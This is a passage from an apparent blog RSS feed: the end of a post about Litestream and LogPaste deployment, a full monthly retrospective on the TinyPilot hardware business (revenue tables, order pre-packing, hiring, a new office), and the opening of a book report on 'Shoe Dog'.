 srcset='https://mtlynch.io/litestream/tinypilot-branding_hu_c3b7448dd2d7dc72.png 300w, https://mtlynch.io/litestream/tinypilot-branding_hu_5cb6b77a8e2acf9e.png 600w, https://mtlynch.io/litestream/tinypilot-branding_hu_a592e8aa0e5fdaf5.png 800w, https://mtlynch.io/litestream/tinypilot-branding.png 1178w'
 src="https://mtlynch.io/litestream/tinypilot-branding.png" alt="Screenshot of TinyPilot&amp;#39;s LogPaste instance" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot&amp;rsquo;s instance of LogPaste includes custom branding without any code changes&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I&amp;rsquo;ve written deployment instructions for a few different platforms:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Platform&lt;/th>
 &lt;th>Notes&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;a href="https://github.com/mtlynch/logpaste/blob/master/docs/deployment/fly.io.md">fly.io&lt;/a>&lt;/td>
 &lt;td>Free tier allows up to three always-on instances and includes SSL certificates&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://github.com/mtlynch/logpaste/blob/master/docs/deployment/lightsail.md">Amazon LightSail&lt;/a>&lt;/td>
 &lt;td>$7/month per instance, includes SSL certificates&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://github.com/mtlynch/logpaste/blob/master/docs/deployment/heroku.md">Heroku&lt;/a>&lt;/td>
 &lt;td>Free tier allows unlimited on-demand instances, $7/month for SSL certificates on custom domains&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h2 id="further-reading">Further reading&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://litestream.io/">Litestream&lt;/a>: Litestream&amp;rsquo;s official documentation.&lt;/li>
&lt;li>&lt;a href="https://github.com/mtlynch/logpaste">mtlynch/logpaste&lt;/a>: MIT-licensed source code and documentation for LogPaste.&lt;/li>
&lt;li>&lt;a href="https://github.com/benbjohnson/litestream-s6-example">litestream-s6-example&lt;/a>: A more advanced and robust method for running Litestream alongside your app in a Docker container. It uses &lt;a href="https://github.com/just-containers/s6-overlay">s6-overlay&lt;/a> to restart the Litestream instance on failure.&lt;/li>
&lt;/ul>
&lt;blockquote class="twitter-tweet" data-dnt="true">&lt;p lang="en" dir="ltr">One of the best hidden gems in app development is &lt;a href="https://x.com/litestreamio?ref_src=twsrc%5Etfw">@litestreamio&lt;/a>. It streams SQLite databases to cloud storage, giving you easy data replication without standing up a whole database cluster. I used it to build a log uploading service and it&amp;#39;s been fantastic &lt;a href="https://t.co/4NGDeMbHzV">https://t.co/4NGDeMbHzV&lt;/a>&lt;/p>&amp;mdash; Michael Lynch (@deliberatecoder) &lt;a href="https://x.com/deliberatecoder/status/1387768253854986247?ref_src=twsrc%5Etfw">April 29, 2021&lt;/a>&lt;/blockquote>
&lt;script async src="https://platform.x.com/widgets.js" charset="utf-8">&lt;/script>


&lt;hr>
&lt;p>&lt;em>Architecture diagram by Loraine Yow.&lt;/em>&lt;/p>
&lt;p>&lt;em>Thanks to &lt;a href="https://twitter.com/benbjohnson">Ben Johnson&lt;/a> for his work on Litestream and his early review of this article. Thanks to the members of the &lt;a href="https://bloggingfordevs.com">Blogging for Devs Community&lt;/a> for providing feedback on this post.&lt;/em>&lt;/p></content:encoded></item><item><title>TinyPilot: Month 9</title><link>https://mtlynch.io/retrospectives/2021/04/</link><pubDate>Mon, 05 Apr 2021 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2021/04/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I plan to open TinyPilot&amp;rsquo;s first real office next month.&lt;/li>
&lt;li>TinyPilot&amp;rsquo;s revenues continue to plummet, but I&amp;rsquo;m learning to accept it.&lt;/li>
&lt;li>I&amp;rsquo;m inching ever closer to the freedom to take short vacations.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="hire-two-local-part-time-employees-to-begin-taking-over-order-fulfillment">Hire two local part-time employees to begin taking over order fulfillment&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Received applications from two promising candidates.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>I slacked a bit here and didn&amp;rsquo;t get the ball rolling until late into the month. I&amp;rsquo;ve got interviews scheduled, but I haven&amp;rsquo;t hired anyone yet.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I plan to open TinyPilot&amp;rsquo;s first real office next month.&lt;/li>
&lt;li>TinyPilot&amp;rsquo;s revenues continue to plummet, but I&amp;rsquo;m learning to accept it.&lt;/li>
&lt;li>I&amp;rsquo;m inching ever closer to the freedom to take short vacations.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="hire-two-local-part-time-employees-to-begin-taking-over-order-fulfillment">Hire two local part-time employees to begin taking over order fulfillment&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Received applications from two promising candidates.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>I slacked a bit here and didn&amp;rsquo;t get the ball rolling until late into the month. I&amp;rsquo;ve got interviews scheduled, but I haven&amp;rsquo;t hired anyone yet.&lt;/p>
&lt;h3 id="attract-five-bloggers-or-youtubers-to-a-tinypilot-affiliate-program">Attract five bloggers or YouTubers to a TinyPilot affiliate program&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Two affiliates signed up, and a third is considering it&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>This has been harder than I expected. I wanted to start with mid-tier bloggers, but they&amp;rsquo;re hard to find. Everyone seems to be a massive site like Tom&amp;rsquo;s Hardware or a tiny personal blog that nobody reads. I&amp;rsquo;m not having much luck finding the in-between.&lt;/p>
&lt;p>Two YouTubers signed on as affiliates, and one more is interested but hasn&amp;rsquo;t yet committed.&lt;/p>
&lt;h3 id="collect-feedback-from-10-customers-about-a-potential-rack-mounted-version-of-tinypilot">Collect feedback from 10 customers about a potential rack-mounted version of TinyPilot&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Received feedback from 14 customers&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I published a preview of the rack mount and solicited feedback from readers and customers. The feedback was positive in that people seem excited about it. It was also valuable in identifying some incorrect assumptions.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>February 2021&lt;/th>
 &lt;th>March 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>7,824&lt;/td>
 &lt;td>5,805&lt;/td>
 &lt;td>&lt;font color="red">-2,019 (-26%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>12,909&lt;/td>
 &lt;td>9,762&lt;/td>
 &lt;td>&lt;font color="red">-3,147 (-24%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$33,061.41&lt;/td>
 &lt;td>$19,782.96&lt;/td>
 &lt;td>&lt;font color="red">-$13,278.45 (-40%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Donations&lt;/td>
 &lt;td>$50.00&lt;/td>
 &lt;td>$19.92&lt;/td>
 &lt;td>&lt;font color="red">-$30.08 (-60%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Earnings&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$33,109.96&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$19,802.30&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$13,307.66 (-40%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Revenues have been plummeting for the past two months. I was panicking about the slowdown at the beginning of the month, but I&amp;rsquo;ve since come to accept and enjoy the slower pace.&lt;/p>
&lt;p>Still, I see dwindling revenues as TinyPilot&amp;rsquo;s biggest problem at the moment. In April, I aim to reverse this trend by investing more in my affiliate program and experimenting with other marketing channels.&lt;/p>
&lt;h2 id="optimizing-order-fulfillment-through-time-shifting">Optimizing order fulfillment through time-shifting&lt;/h2>
&lt;p>When I first started selling TinyPilots, the fulfillment process was a huge mess. It took me almost the entire day to pack orders, bring them to the post office, then send customers their tracking numbers by hand. Since then, my girlfriend has joined the company and handles fulfillment. That works great, but we still have &lt;a href="https://mtlynch.io/retrospectives/2020/10/#inventory-shortages-and-the-thundering-herd-problem">the thundering herd problem&lt;/a>. We&amp;rsquo;ll go through some lulls, and then a massive surge of orders comes in and overwhelms us.&lt;/p>
&lt;p>Most of the reason order surges are so painful is that we do just-in-time order packing. When an order comes in, we print the necessary documents and labels, grab the right parts, flash a disk with the latest TinyPilot software, pack everything into a box, and ship it out. That process takes 5-10 minutes per order.&lt;/p>
&lt;p>One of the biggest bottlenecks in the process was imaging the disk with TinyPilot software. We could have done it in advance, but I stubbornly refused. I couldn&amp;rsquo;t bear the thought of shipping devices with bugfixes I&amp;rsquo;d already published. But in March, I released TinyPilot 1.4.0, which allows users to update their TinyPilots from the web UI. With updates easy and discoverable, I let go of my unreasonable restriction on flashing images the day of the order.&lt;/p>
&lt;p>That got us thinking: flashing the microSDs in advance allows us to &lt;em>shift time&lt;/em> productively. We moved a process that previously created a bottleneck at crunch time to a time where it wasn&amp;rsquo;t a bottleneck. What else can we time-shift with microSDs no longer a blocker? It turned out that we could do a lot.&lt;/p>
&lt;p>Only two items need to wait until the order actually comes in. The first is the commercial invoice. We can&amp;rsquo;t very well print an invoice until we know who the customer is. The second is the VGA to HDMI adaptor. It&amp;rsquo;s an optional add-on, and only ~30% of customers purchase one.&lt;/p>
&lt;p>So we couldn&amp;rsquo;t completely pre-pack boxes, but we could do 95% of the work and leave the last 5% until shipping time.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 620px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/04/pre-packed-voyagers.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 620px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/04/pre-packed-voyagers_hu_b0a5d0bda85e4038.jpg 300w, https://mtlynch.io/retrospectives/2021/04/pre-packed-voyagers_hu_f027bf63e2a98bfa.jpg 600w, https://mtlynch.io/retrospectives/2021/04/pre-packed-voyagers_hu_b1efc45bdaf20e3.jpg 800w, https://mtlynch.io/retrospectives/2021/04/pre-packed-voyagers_hu_790d64dc481a4b12.jpg 1200w, https://mtlynch.io/retrospectives/2021/04/pre-packed-voyagers.jpg 1600w'
 src="https://mtlynch.io/retrospectives/2021/04/pre-packed-voyagers.jpg" alt="Photo of me holding A6-sized paper in my hand" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>We now pre-pack our orders and add the commercial invoice and any add-ons at fulfillment time.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>When discussing other bottlenecks, I was surprised to learn that &lt;em>folding paper&lt;/em> is a significant time-suck. The boxes we use for TinyPilot are 6x6x2&amp;quot;, which means we have to fold normal 8.5x11&amp;quot; paper into quarters to fit into the box. My girlfriend realized that A6 paper is 4.1x5.9&amp;quot;, which is the perfect size for our boxes, so we bought a ream:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/04/a6-paper.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/04/a6-paper_hu_426ac382db3edeb3.jpg 300w, https://mtlynch.io/retrospectives/2021/04/a6-paper_hu_aa17fc75b7bed62.jpg 600w, https://mtlynch.io/retrospectives/2021/04/a6-paper_hu_8d12d0b7baae1a50.jpg 800w, https://mtlynch.io/retrospectives/2021/04/a6-paper_hu_bc98675bb2bcbb99.jpg 1200w, https://mtlynch.io/retrospectives/2021/04/a6-paper.jpg 1200w'
 src="https://mtlynch.io/retrospectives/2021/04/a6-paper.jpg" alt="Photo of me holding A6-sized paper in my hand" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Printing order documents on A6-sized paper means we don&amp;rsquo;t have to waste time folding paper before placing it in the box.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="how-can-tinypilot-run-while-im-on-vacation">How can TinyPilot run while I&amp;rsquo;m on vacation?&lt;/h2>
&lt;p>One of my goals for 2021 is to reach the point where my girlfriend and I can &lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/#automate-tinypilot-management">take a two-week vacation&lt;/a> without interrupting TinyPilot&amp;rsquo;s operations. If we did that right now, fulfillment would completely stop until we came back. Customers would be displeased at the two-week delay in their orders.&lt;/p>
&lt;p>My girlfriend will return to grad school in June, at which point, she won&amp;rsquo;t have time to work with me on TinyPilot. I definitely need to prepare for that. She once left for a week to visit her family, and I barely got anything done that week outside of packing orders.&lt;/p>
&lt;p>My dream was to find some sort of &amp;ldquo;warehouse as a service&amp;rdquo; business, where I ship them all my parts, and they handle assembly and fulfillment. I found services &lt;em>kind of&lt;/em> like that, but they&amp;rsquo;re for business about 50x bigger than mine.&lt;/p>
&lt;p>And then there&amp;rsquo;s Fulfillment by Amazon, a service that lets me ship big batches of finished products to Amazon for fulfillment. That would sort of work, except that creating TinyPilots still requires a lot of physical labor. Parts are continuously arriving that need to be processed and assembled into working devices. Amazon wouldn&amp;rsquo;t do any of that. Plus, I&amp;rsquo;m not quite ready to insert an enormous corporate machine between me and my customers.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/04/amazon-fba.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/04/amazon-fba_hu_8551fffddc1cb43e.png 300w, https://mtlynch.io/retrospectives/2021/04/amazon-fba_hu_e173b7759af6a65a.png 600w, https://mtlynch.io/retrospectives/2021/04/amazon-fba_hu_1d02a578d3ee1be5.png 800w, https://mtlynch.io/retrospectives/2021/04/amazon-fba.png 1106w'
 src="https://mtlynch.io/retrospectives/2021/04/amazon-fba.png" alt="Screenshot of Fulfillment by Amazon page" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Fulfillment by Amazon allows merchants to ship their products to Amazon warehouses for fulfillment.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>All signs were pointing to hiring local employees, which scared me. Based on the IRS&amp;rsquo; definition, a local worker who uses equipment I provide and follows instructions I give is unambiguously an &amp;ldquo;employee&amp;rdquo; rather than an &amp;ldquo;independent contractor.&amp;rdquo; I&amp;rsquo;ve only ever hired contractors, and the process there is fairly lightweight. With real employees, there&amp;rsquo;s &lt;em>so&lt;/em> much more paperwork. I have to give them a bunch of forms and notices and make sure I&amp;rsquo;m withholding all the right taxes.&lt;/p>
&lt;p>After asking some friends and Twitter, I found out that there are services for small businesses that help you manage taxes and legalities of part-time employees. I heard recommendations for &lt;a href="https://justworks.com/">JustWorks&lt;/a> and &lt;a href="https://onpay.com/">OnPay&lt;/a>, both of which seem like they&amp;rsquo;ll address my worries around hiring.&lt;/p>
&lt;p>I created &lt;a href="https://bit.ly/tinypilot-assistant">a job description&lt;/a> and shared it with friends and in some local Facebook groups. I&amp;rsquo;m still going to start the workers as contractors because &lt;a href="https://mtlynch.io/freelancer-guidelines/#interviews">I like the contract-to-hire model&lt;/a>, and a time-limited position fits more under the IRS&amp;rsquo; definition of a contractor.&lt;/p>
&lt;p>The rate is $16/hr, which I expected to yield a bigger response. In my area, entry-level jobs in food service and retail pay $14-16/hr, and TinyPilot should be substantially more attractive in terms of flexibility. Still, I&amp;rsquo;ve received some promising applications, so I&amp;rsquo;m hoping to make hires in the next week or two.&lt;/p>
&lt;h2 id="tinypilots-first-real-office">TinyPilot&amp;rsquo;s first real office&lt;/h2>
&lt;p>I was planning to continue using my house as TinyPilot&amp;rsquo;s central warehouse, but now that we&amp;rsquo;re bringing on local employees, that gets more complicated. All of our closets are currently overflowing with TinyPilot inventory and parts, and we don&amp;rsquo;t mind so much. But the idea of employees coming in and out of our house all the time to manage the inventory feels too invasive.&lt;/p>
&lt;p>I wasn&amp;rsquo;t planning to begin searching yet, but I saw a &amp;ldquo;for lease&amp;rdquo; sign on an office park that&amp;rsquo;s only a 15-minute walk from my house. I called for pricing, expecting something in the range of $1,200-$1,500/month plus utilities. It turns out it&amp;rsquo;s $550/month, including utilities and Internet. And the last tenants didn&amp;rsquo;t want their furniture anymore, so it comes furnished with decent desks.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1200px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/04/office1.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1200px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/04/office1_hu_c1ccd6080a6579c3.jpg 300w, https://mtlynch.io/retrospectives/2021/04/office1_hu_812e00fd51b5ac55.jpg 600w, https://mtlynch.io/retrospectives/2021/04/office1_hu_2a94c98089d748a.jpg 800w, https://mtlynch.io/retrospectives/2021/04/office1_hu_97e7083a370135a8.jpg 1200w, https://mtlynch.io/retrospectives/2021/04/office1.jpg 1200w'
 src="https://mtlynch.io/retrospectives/2021/04/office1.jpg" alt="Freelancer hours spreadsheet" loading="lazy"/>
 &lt;/a>



&lt;/div>






















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1600px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/04/office2.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/04/office2_hu_5c54bbcca660fa9f.jpg 300w, https://mtlynch.io/retrospectives/2021/04/office2_hu_7d51be912f9b4a0b.jpg 600w, https://mtlynch.io/retrospectives/2021/04/office2_hu_c7172f99f3e3e73d.jpg 800w, https://mtlynch.io/retrospectives/2021/04/office2_hu_9da01f25c5aed4be.jpg 1200w, https://mtlynch.io/retrospectives/2021/04/office2.jpg 1600w'
 src="https://mtlynch.io/retrospectives/2021/04/office2.jpg" alt="Freelancer payment spreadsheet" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>TinyPilot&amp;rsquo;s new official headquarters, potentially&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>I&amp;rsquo;m going to try to get a 1-year lease and establish the first official TinyPilot headquarters.&lt;/p>
&lt;p>Having an office means that we can move everything out of our house. It&amp;rsquo;ll be convenient to have a dedicated space outside our house for work stuff, but I still need to figure out how to orchestrate everything, as I plan to continue working mostly from home. I also have to figure out how to ship and receive packages because I don&amp;rsquo;t want packages to just sit outside a relatively well-trafficked office until someone arrives to pick them up.&lt;/p>
&lt;h2 id="legacy-projects">Legacy projects&lt;/h2>
&lt;p>Here are some brief updates on projects that I still maintain but are not the primary focus of my development:&lt;/p>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>February 2021&lt;/th>
 &lt;th>March 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>60,437&lt;/td>
 &lt;td>63,493&lt;/td>
 &lt;td>&lt;font color="green">+3,056 (+5%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>135,865&lt;/td>
 &lt;td>141,199&lt;/td>
 &lt;td>&lt;font color="green">+5,334 (+4%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Rating (Ahrefs)&lt;/td>
 &lt;td>11.0&lt;/td>
 &lt;td>11.0&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Earnings&lt;/td>
 &lt;td>$584.18&lt;/td>
 &lt;td>$611.99&lt;/td>
 &lt;td>&lt;font color="green">+$27.81 (+5%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Earnings&lt;/td>
 &lt;td>$202.78&lt;/td>
 &lt;td>$337.29&lt;/td>
 &lt;td>&lt;font color="green">+$134.51 (+66%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Earnings&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$786.96&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$949.28&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$162.32 (+21%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Is It Keto is funny because I haven&amp;rsquo;t touched it in months. The January bump from New Year&amp;rsquo;s resolution dieters was slowly fading, but then &lt;a href="https://twitter.com/deliberatecoder/status/1369778897135493124">someone purchased $5.3k worth of steel lockers&lt;/a> after visiting the site. I made $160 in Amazon affiliate earnings from that sale alone, giving the site its all-time-highest month of revenue.&lt;/p>
&lt;h3 id="hit-the-front-page-of-hacker-news">&lt;a href="https://hitthefrontpage.com/">Hit the Front Page of Hacker News&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="htfp-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>February 2021&lt;/th>
 &lt;th>March 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>483&lt;/td>
 &lt;td>185&lt;/td>
 &lt;td>&lt;font color="red">-298 (-62%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Gumroad Earnings&lt;/td>
 &lt;td>$359.95&lt;/td>
 &lt;td>$313.63&lt;/td>
 &lt;td>&lt;font color="red">-$46.32 (-13%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Blogging for Devs Earnings&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>$655.20&lt;/td>
 &lt;td>&lt;font color="green">+$655.20 (+inf%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Earnings&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$359.95&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$968.83&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$608.88 (+169%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>&lt;em>Hit the Front Page of Hacker News&lt;/em> had a surprising comeback due to a lucrative partnership with Monica Lent&amp;rsquo;s &lt;a href="https://bloggingfordevs.com/">Blogging for Devs&lt;/a>. I piloted the course in that community, and it was popular with members, so Monica offered me a generous royalty deal.&lt;/p>
&lt;p>Blogging for Devs members get a special link that allows them to download the course for free. In exchange, Monica pays me a royalty for each download at a discounted price from the retail cost.&lt;/p>
&lt;p>It works out nicely for everyone. I felt like there were customers out there, but it didn&amp;rsquo;t make financial sense for me to shift focus away from TinyPilot to find them. Now, customers discover the course during their onboarding flow in Blogging for Devs. It&amp;rsquo;s self-perpetuating because members cite my course in the forums when their articles are successful on Hacker News, which leads other members to check it out.&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>February 2021&lt;/th>
 &lt;th>March 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>434&lt;/td>
 &lt;td>480&lt;/td>
 &lt;td>&lt;font color="green">+46 (+11%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>1,236&lt;/td>
 &lt;td>1,367&lt;/td>
 &lt;td>&lt;font color="green">+131 (+11%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>RapidAPI Earnings&lt;/td>
 &lt;td>$32.52&lt;/td>
 &lt;td>$21.97&lt;/td>
 &lt;td>&lt;font color="red">-$10.55 (-32%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Earnings&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$32.52&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$21.97&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$10.55 (-32%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Zestful&amp;rsquo;s still chugging along in the background, bringing in slightly more than the $7/month it costs me to run it on Heroku.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Created a TinyPilot &lt;a href="https://tinypilotkvm.com/affiliate-policy">affiliate program&lt;/a>&lt;/li>
&lt;li>Published a blog post &lt;a href="https://mtlynch.io/freelancer-guidelines/">explaining how I work with freelance developers&lt;/a>&lt;/li>
&lt;li>Published two new releases of TinyPilot
&lt;ul>
&lt;li>TinyPilot 1.4.0 adds easy updates, support for device renaming, and accessible logs.&lt;/li>
&lt;li>&lt;a href="https://github.com/tiny-pilot/tinypilot/releases/tag/1.4.1">TinyPilot 1.4.1&lt;/a> substantially improves UI&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>There are some positives to a drop in revenue.
&lt;ul>
&lt;li>The slower pace gave me time to invest more in improving processes.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Pre-pack as much as possible.
&lt;ul>
&lt;li>I should have done this sooner, as it&amp;rsquo;s so much more practical to control when the bulk of fulfillment work happens until waiting to do it just in time when the order comes in.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Increase TinyPilot revenue to $30k&lt;/li>
&lt;li>Produce a prototype for a custom TinyPilot PoE HAT&lt;/li>
&lt;li>Create an outline for my book, &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English&lt;/em>&lt;/a>&lt;/li>
&lt;/ul></content:encoded></item><item><title>Shoe Dog by Phil Knight</title><link>https://mtlynch.io/book-reports/shoe-dog/</link><pubDate>Sat, 03 Apr 2021 00:00:00 +0000</pubDate><guid>https://mtlynch.io/book-reports/shoe-dog/</guid><description>&lt;p>I bought this book hoping for lessons to apply to &lt;a href="https://tinypilotkvm.com">my business&lt;/a>, manufacturing and selling physical products. I didn&amp;rsquo;t find many business insights, but it was still an engaging and funny story.&lt;/p></description><content:encoded>&lt;p>I bought this book hoping for lessons to apply to &lt;a href="https://tinypilotkvm.com">my business&lt;/a>, manufacturing and selling physical products. I didn&amp;rsquo;t find many business insights, but it was still an engaging and funny story.&lt;/p>
&lt;p>My high school cross-country coach was a fairly straight-laced guy, so it was a bit out of character that he had a small tattoo on his back. It was a Nike tattoo, and he proudly told us that he got it a few years after the company was founded. That always struck me as strange. It would be like me getting a Google tattoo in 2003.&lt;/p>
&lt;p>After reading &lt;em>Shoe Dog&lt;/em>, my coach&amp;rsquo;s tattoo made sense. Running wasn&amp;rsquo;t popular in the 70s, but Nike&amp;rsquo;s founders loved running. They positioned themselves as the sneaker company that served runners when everyone else was just making pretty shoes.&lt;/p>
&lt;p>Nike&amp;rsquo;s history is more interesting than I expected, and the book provides a lively story of the company&amp;rsquo;s early years. There was a lot that I found relatable as a founder who never expected to be in the manufacturing business. It was comforting to see that &lt;a href="https://mtlynch.io/retrospectives/2021/03/#dealing-with-materials-shortage">my frustrations working with overseas suppliers&lt;/a> are similar to what Knight experienced fifty years ago.&lt;/p>
&lt;hr>
